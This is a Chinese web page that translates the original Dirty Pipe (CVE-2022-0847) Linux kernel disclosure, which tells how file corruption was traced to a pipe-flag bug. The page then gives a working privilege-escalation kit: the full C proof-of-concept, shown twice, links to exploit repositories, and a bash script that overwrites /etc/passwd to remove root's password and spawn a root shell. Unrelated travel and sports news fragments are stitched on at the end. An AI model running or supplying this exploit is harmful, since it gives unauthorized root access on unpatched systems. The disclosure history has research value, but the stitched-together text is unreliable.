范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

Linux内核本地提权漏洞实操

  漏洞描述
  Dirty Pipe漏洞
  它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。 这会导致权限提升,因为非特权进程可以将代码注入root进程。
  它类似于CVE-2016-5195 "Dirty Cow",但 更容易被利用 。
  该漏洞已 在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。 安全研究员 Max Kellermann 负责任地披露了"脏管道"漏洞,并表示 它会影响 Linux Kernel 5.8 及更高版本,甚至在 Android 设备上也是如此。 自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。 发现新管道缓冲区结构的"标志"成员在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化的方式存在缺陷,因此可能包含陈旧值。非特权本地用户可以使用此漏洞写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的权限。 此漏洞影响 5.17-rc6 之前的 Linux 内核版本 。它类似于CVE-2016-5195 "Dirty Cow",但更容易被利用。 该漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。 漏洞严重性攻击复杂性:低 攻击向量:本地 可用性影响:- 保密影响:- 完整性影响:高 特权要求:- 范围: – 用户交互:- 版本:3.1 基数:- 基础严重性:- 漏洞是如何被发现的腐败点 一
  这一切都始于一年前关于损坏文件的投票。有客户抱怨下载的访问日志无法解压。事实上,其中一台日志服务器上有一个损坏的日志文件;可以解压,但是gzip报CRC错误。我无法解释它为什么会损坏,但我认为夜间拆分过程已经崩溃并留下了一个损坏的文件。我手动修复了文件的 CRC,关闭了工单,很快就忘记了这个问题。
  几个月后,这种情况一次又一次地发生。每次,文件的内容看起来都是正确的,只有文件末尾的 CRC 是错误的。现在,有了几个损坏的文件,我能够更深入地挖掘并发现一种令人惊讶的损坏。一种模式出现了。 访问日志
  让我简单介绍一下我们的日志服务器是如何工作的:在 CM4all 托管环境中,所有 Web 服务器(运行我们的自定义开源 HTTP 服务器)发送 UDP 多播数据报,其中包含有关每个 HTTP 请求的元数据。这些由运行Pond的日志服务器接收,Pond是我们自定义的开源内存数据库。每晚的作业将前一天的所有访问日志拆分为每个托管网站一个,每个都用zlib压缩。
  通过 HTTP,可以将一个月的所有访问日志下载为单个 .gz文件。使用一个技巧(其中涉及Z_SYNC_FLUSH),我们可以连接所有 gzip 压缩的每日日志文件,而无需解压缩和重新压缩它们,这意味着这个 HTTP 请求几乎不消耗 CPU。splice()通过使用系统调用将数据直接从硬盘馈送到 HTTP 连接,而不通过内核/用户空间边界("零复制"),可以节省内存带宽 。
  Windows 用户无法处理.gz文件,但每个人都可以提取 ZIP 文件。ZIP 文件只是文件的容器.gz,因此我们可以使用相同的方法即时生成 ZIP 文件;我们需要做的就是首先发送一个 ZIP 标头,然后.gz 像往常一样连接所有文件内容,然后是中央目录(另一种标头)。 腐败点 二
  这是正确的每日文件的结尾的样子: 000005f0  81 d6 94 39 8a 05 b0 ed  e9 c0 fd 07 00 00 ff ff 00000600  03 00 9c 12 0b f5 f7 4a  00 00
  这是允许简单连接 的同步刷新。是一个空的"最终"块,后面是 CRC32 ( ) 和未压缩的文件长度(= 19191 字节)。00 00 ff ff03 000xf50b129c0x00004af7
  相同的文件但已损坏: 000005f0  81 d6 94 39 8a 05 b0 ed  e9 c0 fd 07 00 00 ff ff 00000600  03 00 50 4b 01 02 1e 03  14 00
  同步刷新在那里,空的最终块在那里,但未压缩的长度现在0x0014031e= 1.3 MB(这是错误的,它与上述相同的 19 kB 文件)。CRC32 是0x02014b50,与文件内容不匹配。为什么?这是我们日志客户端中的越界写入还是堆损坏错误?
  我比较了所有已知损坏的文件,令我惊讶的是,它们都具有相同的 CRC32 和相同的"文件长度"值。始终相同的 CRC – 这意味着这不可能是 CRC 计算的结果。对于损坏的数据,我们会看到不同(但错误)的 CRC 值。几个小时以来,我一直盯着代码中的漏洞,但找不到解释。
  然后我盯着这8个字节。最终,我意识到这 是"P"和"K"的ASCII码。"PK",这就是所有 ZIP 标头的开始方式。我们再来看看这8个字节:50 4b 50 4b 01 02 1e 03 14 00 50 4b是"PK" 01 02是中央目录文件头的代码。 "版本由" = ; = 30 (3.0); = UNIX1e 030x1e0x03 "需要提取的版本" = ; = 20 (2.0)14 000x0014
  其余的都不见了;标头显然在 8 个字节后被截断。
  这确实是 ZIP 中央目录文件头的开头,这不是巧合。但是写入这些文件的进程没有生成此类标头的代码。无奈之下,我查看了 zlib 源代码和该进程使用的所有其他库,但一无所获。该软件对"PK"标头一无所知。
  但是,有一个过程会生成"PK"标头;它是即时构建 ZIP 文件的 Web 服务。但是此过程以不同的用户身份运行,该用户对这些文件没有写权限。不可能是那个过程。
  这一切都毫无意义,但新的支持票不断涌入(速度非常缓慢)。有一些系统性的问题,但我就是没能抓住它。这让我很沮丧,但我正忙于其他任务,我一直把这个文件损坏问题推到我队列的后面。 腐败点 三
  外部压力把这个问题带回了我的意识。我扫描了整个硬盘上的损坏文件(花了两天时间),希望能出现更多的模式。确实,有一个模式: 过去 3 个月内有 37 个损坏文件 它们发生在 22 个不同的日子 18 那些日子有 1 腐败 1 天有 2 次腐败 (2021-11-21) 1天有7个腐败(2021-11-30) 1 天有 6 次腐败 (2021-12-31) 1天有4次腐败(2022-01-31)
  每个月的最后一天显然是最容易发生腐败的一天。
  只有主日志服务器有损坏(提供 HTTP 连接和构建 ZIP 文件的服务器)。备用服务器(HTTP 非活动但相同的日志提取过程)的损坏为零。两台服务器上的数据是相同的,除了那些损坏。
  这是由片状硬件引起的吗?内存不好?存储不好?宇宙射线?不,这些症状看起来不像是硬件问题。机器里有鬼?我们需要驱魔人吗? 盯着代码的人
  我再次开始盯着我的代码漏洞,这次是 Web 服务。
  请记住,Web 服务会写入一个 ZIP 标头,然后用于splice() 发送所有压缩文件,最后write()再次用于"中央目录文件标头",它以 开头,正是损坏。通过网络发送的数据看起来与磁盘上的损坏文件完全一样。但是通过网络发送这个的进程对这些文件没有写权限(甚至没有尝试这样做),它只读取它们。不顾一切和不可能, 一定 是那个过程导致了腐败,但如何呢?50 4b 01 02 1e 03 14 00
  我的第一个灵感闪现,为什么总是在一个月的最后一天被破坏。当网站所有者下载访问日志时,服务器会从当月的第一天开始,然后是第二天,以此类推。当然,月底发送的最后一天;每个月的最后一天总是跟在"PK"标题之后。这就是为什么它更有可能在最后一天腐败。(如果请求的月份尚未结束,则其他日期可能会损坏,但这不太可能。)
  如何? 盯着内核代码的人
  在被困了几个小时之后,在消除了所有绝对不可能的事情之后(在我看来),我得出了一个结论:这一定是一个内核错误。
  将数据损坏归咎于 Linux 内核(即其他人的代码)必须是最后的手段。这是不太可能的。内核是一个极其复杂的项目,由成千上万的人使用看似混乱的方法开发;尽管如此,它还是非常稳定和可靠的。但这一次,我确信它一定是内核错误。
  在异常清晰的时刻,我破解了两个 C 程序。
  一个不断将字符串"AAAAA"的奇数块写入文件(模拟日志拆分器): #include  int main(int argc, char **argv) {   for (;;) write(1, "AAAAA", 5); } // ./writer >foo
  还有一个使用该文件将数据传输到管道 splice(),然后将字符串"BBBBB"写入管道(模拟 ZIP 生成器): #define _GNU_SOURCE #include  #include  int main(int argc, char **argv) {   for (;;) {     splice(0, 0, 1, 0, 2, 0);     write(1, "BBBBB", 5);   } } // ./splicer /dev/null
  我将这两个程序复制到日志服务器,然后…… 宾果游戏 !字符串"BBBBB"开始出现在文件中,即使没有人将此字符串写入文件(仅由没有写入权限的进程写入管道)。
  所以这真的是一个内核错误!
  一旦可以复制,所有错误都会变得浅薄。快速检查确认此错误影响 Linux 5.10 (Debian Bullseye) 但不影响 Linux 4.19 (Debian Buster)。在 v4.19 和 v5.10 之间有 185.011 次 git 提交,但是由于有了 ,只需 17 个步骤就可以找到错误的提交。git bisect
  bisect 到达提交f6dd975583bd,它重构了匿名管道缓冲区的管道缓冲区代码。它改变了对管道进行"可合并"检查的方式。 管道、缓冲区和页面
  为什么管呢?在我们的设置中,生成 ZIP 文件的 Web 服务通过管道与 Web 服务器通信;它讨论了我们发明的Web 应用程序套接字协议,因为我们对 CGI、FastCGI 和 AJP 不满意。使用管道而不是在套接字上进行多路复用(如 FastCGI 和 AJP 所做的)有一个主要优势:您可以splice()在应用程序和 Web 服务器中使用以获得最大效率。这减少了让 Web 应用程序脱离进程的开销(与在 Web 服务器进程内运行 Web 服务相反,就像 Apache 模块那样)。这允许在不牺牲(很多)性能的情况下进行权限分离。
  Linux 内存管理的小绕道:CPU 管理的最小内存单位是一个 页面 (通常为 4 kB)。Linux 内存管理的最低层中的一切都是关于页面的。如果应用程序向内核请求内存,它将获得许多(匿名)页面。所有文件 I/O 也与页面有关:如果您从文件中读取数据,内核首先会从硬盘复制一些 4 kB 块到内核内存中,由称为 页面缓存的子系统管理 . 从那里,数据将被复制到用户空间。页面缓存中的副本会保留一段时间,可以再次使用它,避免不必要的硬盘 I/O,直到内核决定它可以更好地使用该内存("回收")。不是将文件数据复制到用户空间内存,而是由页面缓存管理的页面可以使用mmap()系统调用直接映射到用户空间(以增加页面错误和 TLB 刷新为代价的减少内存带宽的权衡)。Linux 内核有更多技巧:sendfile()系统调用允许应用程序将文件内容发送到套接字,而无需往返用户空间(在通过 HTTP 提供静态文件的 Web 服务器中流行的优化)。系统splice()调用是一种概括sendfile():如果传输的任一侧是 管道 ,它允许相同的优化;另一端几乎可以是任何东西(另一个管道、文件、套接字、块设备、字符设备)。内核通过传递 页面 引用来实现这一点,而不是实际复制任何东西(零复制)。
  管道 是一种用于单向进程间通信的工具。一端用于将数据推送到其中,另一端可以提取该数据。Linux 内核通过一个struct pipe_buffer环 来实现这一点,每个 struct pipe_buffer 都指向一个 页面 。第一次写入管道会分配一个页面(用于 4 kB 数据的空间)。如果最近的写入没有完全填满页面,则后续写入可能会附加到该现有页面而不是分配新页面。这就是"匿名"管道缓冲区的工作方式(anon_pipe_buf_ops)。
  然而,如果你将splice()数据从一个文件导入到管道中,内核会首先将数据加载到 页面缓存 中。然后它将在页面缓存内创建一个指向(零副本),但与匿名管道缓冲区不同,写入管道的附加数据不得附加到此类页面,因为该页面由页面缓存拥有,而不是由管道拥有.struct pipe_buffer
  检查是否可以将新数据附加到现有管道缓冲区的历史记录: 很久以前,有一面旗帜叫 。struct pipe_buf_operationscan_merge 提交 5274f052e7b3 "Introduce sys_splice() 系统调用"(Linux 2.6.16, 2006) 以splice()系统调用为特色,介绍 了 指向页面缓存的管道缓冲区page_cache_pipe_buf_ops的实现,第一个带有(不可合并)。struct pipe_buf_operationscan_merge=0 提交 01e7187b4119 "pipe: stop using ->can_merge"(Linux 5.0, 2019) 将can_merge标志转换为指针比较,因为仅 设置了此标志。struct pipe_buf_operationsanon_pipe_buf_ops 提交 f6dd975583bd "pipe: merge anon_pipe_buf*_ops"(Linux 5.8, 2020) 将此指针比较转换为 per-buffer flag PIPE_BUF_FLAG_CAN_MERGE。
  多年来,这个检查被来回重构,这还可以。或者是吗? 未初始化
  几年前PIPE_BUF_FLAG_CAN_MERGE诞生,commit 241699cd72a8 "new iov_iter flavor: pipe-backed"(Linux 4.9, 2016) 添加了两个新函数,它们分配一个新的,但它的成员的初始化丢失了。现在可以使用任意标志创建页面缓存引用,但这并不重要。从技术上讲,这是一个错误,尽管当时没有任何后果,因为所有现有的标志都相当无聊。struct pipe_bufferflags
  这个错误在 Linux 5.8 中突然变得很严重,提交 f6dd975583bd "pipe: merge anon_pipe_buf*_ops"。通过注入PIPE_BUF_FLAG_CAN_MERGE页面缓存引用,可以覆盖页面缓存中的数据,只需将新数据写入以特殊方式准备的管道即可。 腐败点 四
  这解释了文件损坏:首先,一些数据被写入管道,然后大量文件被拼接,创建页面缓存引用。随机地,那些可能或可能没有 PIPE_BUF_FLAG_CAN_MERGE设置。如果是,那么write()写入中央目录文件头的调用将被写入最后一个压缩文件的页面缓存。
  但为什么只有该标头的前 8 个字节?实际上,所有标头都被复制到页面缓存中,但此操作不会增加文件大小。原始文件最后只有 8 个字节的"未拼接"空间,只有这些字节可以被覆盖。从页面缓存的角度来看,页面的其余部分是未使用的(尽管管道缓冲区代码确实使用它,因为它有自己的页面填充管理)。
  为什么这种情况不会更频繁地发生?因为页面缓存不会写回磁盘,除非它认为页面是"脏的"。意外覆盖页面缓存中的数据不会使页面"脏"。如果没有其他进程碰巧"弄脏"该文件,则此更改将是短暂的;在下一次重新启动之后(或者在内核决定从缓存中删除页面之后,例如在内存压力下回收),更改被恢复。 这允许有趣的攻击,而不会在硬盘上留下痕迹。 利用
  在我的第一个漏洞利用(我用于 bisect 的"writer"/"splicer"程序)中,我假设这个 bug 只能在特权进程写入文件时被利用,并且它取决于时间。
  当我意识到真正的问题是什么时,我能够大大扩大漏洞:即使在没有写入器的情况下,也可以在(几乎)任意位置用任意数据覆盖页面缓存,没有时间限制. 限制是: 攻击者必须具有读取权限(因为它需要将 splice()页面放入管道) 偏移量不能在页面边界上(因为该页面的至少一个字节必须已拼接到管道中) 写入不能跨越页面边界(因为将为其余部分创建一个新的匿名缓冲区) 文件无法调整大小(因为管道有自己的页面填充管理,并且不会告诉页面缓存附加了多少数据)
  要利用此漏洞,您需要: 创建管道。 用任意数据填充管道( PIPE_BUF_FLAG_CAN_MERGE在所有环条目中设置标志)。 排干管道(在环上的所有实例中设置标志)。struct pipe_bufferstruct pipe_inode_info 将目标文件(以 开头O_RDONLY)中的数据从目标偏移之前的位置拼接到管道中。 将任意数据写入管道;此数据将覆盖缓存的文件页面,而不是创建新的异常,因为已设置。struct pipe_bufferPIPE_BUF_FLAG_CAN_MERGE
  为了让这个漏洞更有趣,它不仅可以在没有写权限的情况下工作,它还可以用于不可变文件、只读 btrfs 快照和只读挂载(包括 CD-ROM 挂载)。这是因为页面缓存始终是可写的(由内核),并且写入管道从不检查任何权限。 POC
  这是我的漏洞概念验证: exploit.c/* SPDX-License-Identifier: GPL-2.0 */ /*  * Copyright 2022 CM4all GmbH / IONOS SE  *  * author: Max Kellermann   *  * Proof-of-concept exploit for the Dirty Pipe  * vulnerability (CVE-2022-0847) caused by an uninitialized  * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any  * file contents in the page cache, even if the file is not permitted  * to be written, immutable or on a read-only mount.  *  * This exploit requires Linux 5.8 or later; the code path was made  * reachable by commit f6dd975583bd ("pipe: merge  * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was  * there before, it just provided an easy way to exploit it.  *  * There are two major limitations of this exploit: the offset cannot  * be on a page boundary (it needs to write one byte before the offset  * to add a reference to this page to the pipe), and the write cannot  * cross a page boundary.  *  * Example: ./write_anything /root/.ssh/authorized_keys 1 #39; ssh-ed25519 AAA...... "  *  * Further explanation: https://dirtypipe.cm4all.com/  */  #define _GNU_SOURCE #include  #include  #include  #include  #include  #include  #include   #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif  /**  * Create a pipe where all "bufs" on the pipe_inode_info ring have the  * PIPE_BUF_FLAG_CAN_MERGE flag set.  */ static void prepare_pipe(int p[2]) { 	if (pipe(p)) abort();  	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 	static char buffer[4096];  	/* fill the pipe completely; each pipe_buffer will now have 	   the PIPE_BUF_FLAG_CAN_MERGE flag */ 	for (unsigned r = pipe_size; r > 0;) { 		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 		write(p[1], buffer, n); 		r -= n; 	}  	/* drain the pipe, freeing all pipe_buffer instances (but 	   leaving the flags initialized) */ 	for (unsigned r = pipe_size; r > 0;) { 		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 		read(p[0], buffer, n); 		r -= n; 	}  	/* the pipe is now empty, and if somebody adds a new 	   pipe_buffer without initializing its "flags", the buffer 	   will be mergeable */ }  int main(int argc, char **argv) { 	if (argc != 4) { 		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA ", argv[0]); 		return EXIT_FAILURE; 	}  	/* dumb command-line argument parser */ 	const char *const path = argv[1]; 	loff_t offset = strtoul(argv[2], NULL, 0); 	const char *const data = argv[3]; 	const size_t data_size = strlen(data);  	if (offset % PAGE_SIZE == 0) { 		fprintf(stderr, "Sorry, cannot start writing at a page boundary "); 		return EXIT_FAILURE; 	}  	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 	const loff_t end_offset = offset + (loff_t)data_size; 	if (end_offset > next_page) { 		fprintf(stderr, "Sorry, cannot write across a page boundary "); 		return EXIT_FAILURE; 	}  	/* open the input file and validate the specified offset */ 	const int fd = open(path, O_RDONLY); // yes, read-only!  	if (fd < 0) { 		perror("open failed"); 		return EXIT_FAILURE; 	}  	struct stat st; 	if (fstat(fd, &st)) { 		perror("stat failed"); 		return EXIT_FAILURE; 	}  	if (offset > st.st_size) { 		fprintf(stderr, "Offset is not inside the file "); 		return EXIT_FAILURE; 	}  	if (end_offset > st.st_size) { 		fprintf(stderr, "Sorry, cannot enlarge the file "); 		return EXIT_FAILURE; 	}  	/* create the pipe with all flags initialized with 	   PIPE_BUF_FLAG_CAN_MERGE */ 	int p[2]; 	prepare_pipe(p);  	/* splice one byte from before the specified offset into the 	   pipe; this will add a reference to the page cache, but 	   since copy_page_to_iter_pipe() does not initialize the 	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 	--offset; 	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 	if (nbytes < 0) { 		perror("splice failed"); 		return EXIT_FAILURE; 	} 	if (nbytes == 0) { 		fprintf(stderr, "short splice "); 		return EXIT_FAILURE; 	}  	/* the following write will not create a new pipe_buffer, but 	   will instead write into the page cache, because of the 	   PIPE_BUF_FLAG_CAN_MERGE flag */ 	nbytes = write(p[1], data, data_size); 	if (nbytes < 0) { 		perror("write failed"); 		return EXIT_FAILURE; 	} 	if ((size_t)nbytes < data_size) { 		fprintf(stderr, "short write "); 		return EXIT_FAILURE; 	}  	printf("It worked! "); 	return EXIT_SUCCESS; } 时间线2021-04-29:关于文件损坏的第一个支持票 2022-02-19:文件损坏问题被确定为 Linux 内核错误,结果证明这是一个可利用的漏洞 2022-02-20:向Linux 内核安全团队发送错误报告、漏洞利用和补丁 2022-02-21:在 Google Pixel 6 上重现错误;发送给 Android 安全团队的错误报告 2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议,将补丁发送到 LKML(不含漏洞详细信息) 2022-02-23:带有我的错误修复的Linux稳定版本 (5.16.11、5.15.25、5.10.102) 2022-02-24:Google 将我的错误修复合并到 Android 内核中 2022-02-28:通知linux-distros 邮件列表 2022-03-07:公开披露 漏洞利用:gcc exploit.c -o exploit
  https://github.com/antx-code/CVE-2022-0847
  下载poc
  https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.zip
  编译./compile.sh(假设gcc已安装)
  运行./exploit它会弹出一个root shell su:必须从终端运行
  如果您收到此错误消息: root使用密码登录aaron。 /etc/passwd然后,通过运行恢复mv /tmp/passwd.bak /etc/passwd
  (哎呀抱歉我的笔记本电脑电池快没电了,我的充电器坏了,所以我现在没有时间解决这个问题,抱歉)
  或者使用此sh文件进行提权:
  https://github.com/imfiver/CVE-2022-0847 #/bin/bash cat>exp.c<  *  * Proof-of-concept exploit for the Dirty Pipe  * vulnerability (CVE-2022-0847) caused by an uninitialized  * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any  * file contents in the page cache, even if the file is not permitted  * to be written, immutable or on a read-only mount.  *  * This exploit requires Linux 5.8 or later; the code path was made  * reachable by commit f6dd975583bd ("pipe: merge  * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was  * there before, it just provided an easy way to exploit it.  *  * There are two major limitations of this exploit: the offset cannot  * be on a page boundary (it needs to write one byte before the offset  * to add a reference to this page to the pipe), and the write cannot  * cross a page boundary.  *  * Example: ./write_anything /root/.ssh/authorized_keys 1 #39; ssh-ed25519 AAA...... "  *  * Further explanation: https://dirtypipe.cm4all.com/  */ #define _GNU_SOURCE #include  #include  #include  #include  #include  #include  #include  #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /**  * Create a pipe where all "bufs" on the pipe_inode_info ring have the  * PIPE_BUF_FLAG_CAN_MERGE flag set.  */ static void prepare_pipe(int p[2]) { 	if (pipe(p)) abort(); 	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 	static char buffer[4096]; 	/* fill the pipe completely; each pipe_buffer will now have 	   the PIPE_BUF_FLAG_CAN_MERGE flag */ 	for (unsigned r = pipe_size; r > 0;) { 		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 		write(p[1], buffer, n); 		r -= n; 	} 	/* drain the pipe, freeing all pipe_buffer instances (but 	   leaving the flags initialized) */ 	for (unsigned r = pipe_size; r > 0;) { 		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 		read(p[0], buffer, n); 		r -= n; 	} 	/* the pipe is now empty, and if somebody adds a new 	   pipe_buffer without initializing its "flags", the buffer 	   will be mergeable */ } int main(int argc, char **argv) { 	if (argc != 4) { 		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA ", argv[0]); 		return EXIT_FAILURE; 	} 	/* dumb command-line argument parser */ 	const char *const path = argv[1]; 	loff_t offset = strtoul(argv[2], NULL, 0); 	const char *const data = argv[3]; 	const size_t data_size = strlen(data); 	if (offset % PAGE_SIZE == 0) { 		fprintf(stderr, "Sorry, cannot start writing at a page boundary "); 		return EXIT_FAILURE; 	} 	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 	const loff_t end_offset = offset + (loff_t)data_size; 	if (end_offset > next_page) { 		fprintf(stderr, "Sorry, cannot write across a page boundary "); 		return EXIT_FAILURE; 	} 	/* open the input file and validate the specified offset */ 	const int fd = open(path, O_RDONLY); // yes, read-only! :-) 	if (fd < 0) { 		perror("open failed"); 		return EXIT_FAILURE; 	} 	struct stat st; 	if (fstat(fd, &st)) { 		perror("stat failed"); 		return EXIT_FAILURE; 	} 	if (offset > st.st_size) { 		fprintf(stderr, "Offset is not inside the file "); 		return EXIT_FAILURE; 	} 	if (end_offset > st.st_size) { 		fprintf(stderr, "Sorry, cannot enlarge the file "); 		return EXIT_FAILURE; 	} 	/* create the pipe with all flags initialized with 	   PIPE_BUF_FLAG_CAN_MERGE */ 	int p[2]; 	prepare_pipe(p); 	/* splice one byte from before the specified offset into the 	   pipe; this will add a reference to the page cache, but 	   since copy_page_to_iter_pipe() does not initialize the 	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 	--offset; 	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 	if (nbytes < 0) { 		perror("splice failed"); 		return EXIT_FAILURE; 	} 	if (nbytes == 0) { 		fprintf(stderr, "short splice "); 		return EXIT_FAILURE; 	} 	/* the following write will not create a new pipe_buffer, but 	   will instead write into the page cache, because of the 	   PIPE_BUF_FLAG_CAN_MERGE flag */ 	nbytes = write(p[1], data, data_size); 	if (nbytes < 0) { 		perror("write failed"); 		return EXIT_FAILURE; 	} 	if ((size_t)nbytes < data_size) { 		fprintf(stderr, "short write "); 		return EXIT_FAILURE; 	} 	printf("It worked! "); 	return EXIT_SUCCESS; } EOF  gcc exp.c -o exp -std=c99  # 备份密码文件 rm -f /tmp/passwd cp /etc/passwd /tmp/passwd if [ -f "/tmp/passwd" ];then 	echo "/etc/passwd已备份到/tmp/passwd" 	passwd_tmp=$(cat /etc/passwd|head) 	./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"  	echo -e " # 恢复原来的密码 rm -rf /etc/passwd mv /tmp/passwd /etc/passwd"  	# 现在可以无需密码切换到root账号 	su root else 	echo "/etc/passwd未备份到/tmp/passwd" 	exit 1 fi
  原文出处:https://www.ddosi.org/cve-2022-0847/

广东露营亲水地图出炉!花都湖上榜好消息!广东露营亲水地图新鲜出炉!为进一步引导公众参与河湖管护,共享河湖治理成果,加快形成共建共治共享的水生态文明建设格局,科学指引人民群众亲水乐水,在省河长办的指导下,广东省水利聚焦两会丨推动中小学生研学旅行落地生根研学旅行是一种集研究性学习与旅游体验于一体的校外学习活动,是学生行走的课堂。开展研学旅游,是创新人才培养模式促进书本知识和生活经验深度融合的重大举措,落实立德树人根本任务的有效途径中国游客在韩机场遭歧视性对待!王乙康的三个反问,是韩国最应该面对的!根据世界卫生组织获得的信息,中国目前流行的毒株是欧洲和世界其他地方已经存在的毒株对于正在采取预防性旅行措施的欧洲国家来说,我们呼吁这种措施植根于科学适度且具有非歧视性。当地时间10败家子18元卖掉传家宝,专家价值7800万今天我们把视线放在西昌,众所周知西昌是中国十大最美古城之一,也是大数据统计的中国旅游最令人向往的小城。西昌也是一个少数民族聚居的城市,各式珠宝饰品应有尽有,尤其是西昌玛瑙,就是西昌穷游还能挣钱?我,90后,毕业7年穷游过20多国,玩着赚到一套房这是我们讲述的第1404位真人故事我是大双儿大双儿流浪地球,一个河南90后姑娘。毕业7年,我一个人拉着行李箱走过了20多个国家,体验过尼泊尔博卡拉的滑翔,看过印度恒河的风景,还见过名古屋购物6大景点荣商圈大须商店街,永旺梦乐城买到手软来到日本中部想来一趟购物自由行,推荐一定要到爱知县!百货公司购物商场林立的名古屋荣商圈,日式杂货电器行必逛大须商店街,还有两栋超好买的购物商城永旺梦乐城,回程在新特丽亚中部国际机场2022冬日行广东。南澳岛广东汕头的南澳岛,非常有名的海岛,全国最美的十大海岛名单里一定会有它。今年的冬天,我也是匆匆过客,打卡,看看,拍照,离开!害羞南澳岛是中国唯一一座全岛域为国家AAAA级旅游景区的海从韩国回国一票难求!究竟哪些人在抢票?1月9日上午,韩国飞中国机票一票难求话题登上热搜。目前首尔飞往北京上海广州的航班已无直达航班,大多数航班需要进行中途转机。对于大家普遍反映的机票价格上涨,回国机票一票难求等问题,售中国游客回归泰国曼谷辉煌热闹非凡据泰媒PPTV最新消息,自从中国官方宣布放宽出境限制后,越来越多的中国游客将出境游提上日程,泰国也相继迎来众多赴泰中国游客。随着中国游客的回归,泰国各地逐渐恢复热闹场景。据了解,随青龙古风悠远的山水田园小镇图青龙乡航拍图李月庭摄图塘边山古村陶彩忠摄图塘边山大寨第一道石墙大门陶彩忠摄图青龙月亮山陶彩忠摄陶彩忠赵洋在平乐县东南部,距县城37公里,有一个偏远小乡镇名叫青龙。全乡总共64。3介休市张壁古堡景区春节期间将举办地道中国年活动黄河新闻网晋中讯(记者李炳仪海莲)为吸引游客出游,加快复苏旅游行业,传承中华优秀传统文化,丰富广大群众节日文化生活,介休市张壁古堡景区将在2023年春节期间举办以烟花唤醒梦,古堡迎
尴了个尬!马布里与吴庆龙握手,谁注意马布里举动,老爷不高兴啊CBA常规赛继续展开争夺,本轮比赛深圳男篮迎来了北控男篮的挑战,深圳男篮上一场比赛战胜了广东男篮,终结了球队面对广东男篮18连败的纪录,这也是让球队上下士气大涨,此番面对北控他们的突发!辽宁队内线悍将刘雁宇,头部着地失去知觉全场为他祈祷刘雁宇头部着地,失去知觉CBA常规赛第四轮,迎来了一场焦点比赛,辽宁队对阵广州队,这也是郭士强又一次带队对阵辽宁队,由于两队之间有着说不清的关系,因此,这场比赛也是引起了很多球迷关两战狂飙20记三分!CBA最强外线大杀器诞生,首钢弃将砍三双北京时间10月18日,CBA常规赛继续进行,吉林男篮迎战山西男篮,山西男篮在半场取得7分优势,第三节山西拉开分差,最终11799大胜吉林,取得三连胜,上赛季的大黑马依旧强势。原帅此2022年WTT乒乓球澳门冠军赛对阵马龙首战日本队宇日幸矢2022WTT澳门冠军赛将于10月19日23日进行上半区男子32强淘汰赛樊振东黄镇廷卡尔森卡纳克弗朗西斯卡格拉尔多弗雷塔斯约奇克梁靖崑林高远艾利克斯张禹珍普卡庄智渊波尔林钧儒下半区托特纳姆热刺为孙兴民拒绝推荐怪物道歉金民在(那不勒斯)c郭惠美记者托特纳姆热刺队看到金民在(那不勒斯队)的表现会有什么想法?英国媒体更多引导室18日(韩国时间)报道说托特纳姆热刺队就没有引进金民在向孙兴民道歉。托特纳全民体育英超热刺VS曼联首发曝光,王牌双腰坐镇中场,凯恩冲锋卢克肖说有保证首发的日子曼联都结束了,因为经理埃里克滕哈格不怕放弃他的明星名字。肖,哈里马奎尔和克里斯蒂亚诺罗纳尔多在本赛季的不同时期都被放弃了肖说在前任教练的领导下可能不会发生这跳水梦之队表演盛宴来了在布达佩斯世锦赛上,陈芋汐全红婵夺得了女子双人10米台冠军。新华社发曹缘(前)和王宗源搭档获得了今年世锦赛男子双人3米板冠军。新华社发第23届跳水世界杯将于本周四在德国柏林揭幕,这广厦队将小胜江苏队,孙铭徽单骑神勇发挥救主,江苏队得分手太少CBA开赛至今最惨的球队是那支球队呢?相信很多球迷都会说是广厦队,上赛季好不容易打入总决赛,结果2大核心轮流赛季报销,广厦队只能被辽宁队零封丢冠,本赛季好不容易迎回胡金秋赵岩昊,球CBA最新积分榜!3支球队保持全胜,广东队第12,北京队第182轮过后,保持全胜的球队只有3支202223赛季CBA常规赛,目前已经打完了2轮比赛,从这两轮比赛来看,可以说有不少惊喜和意外。从成绩来看,联赛只打了2轮,保持全胜的球队就只有3支CBA上海男篮大败,李春江凌晨发飙,这3名球员接下去该退出首发了北京时间10月16日,2022到2023赛季CBA常规赛第3轮,辽宁男篮93比77战胜青岛男篮。郭艾伦本场出战31分钟,投篮16中9,三分1中0,罚球7中4,得到22分6篮板7助攻普尔谈续约离开一支刚夺冠的球队太疯狂北京时间10月17日,今日勇士召开新闻发布会,乔丹普尔接受了采访,谈及了选择和球队续约的理由。我当然想完成续约。我爱湾区,我很兴奋,这里有一个伟大的组织和团队,我们一起赢下了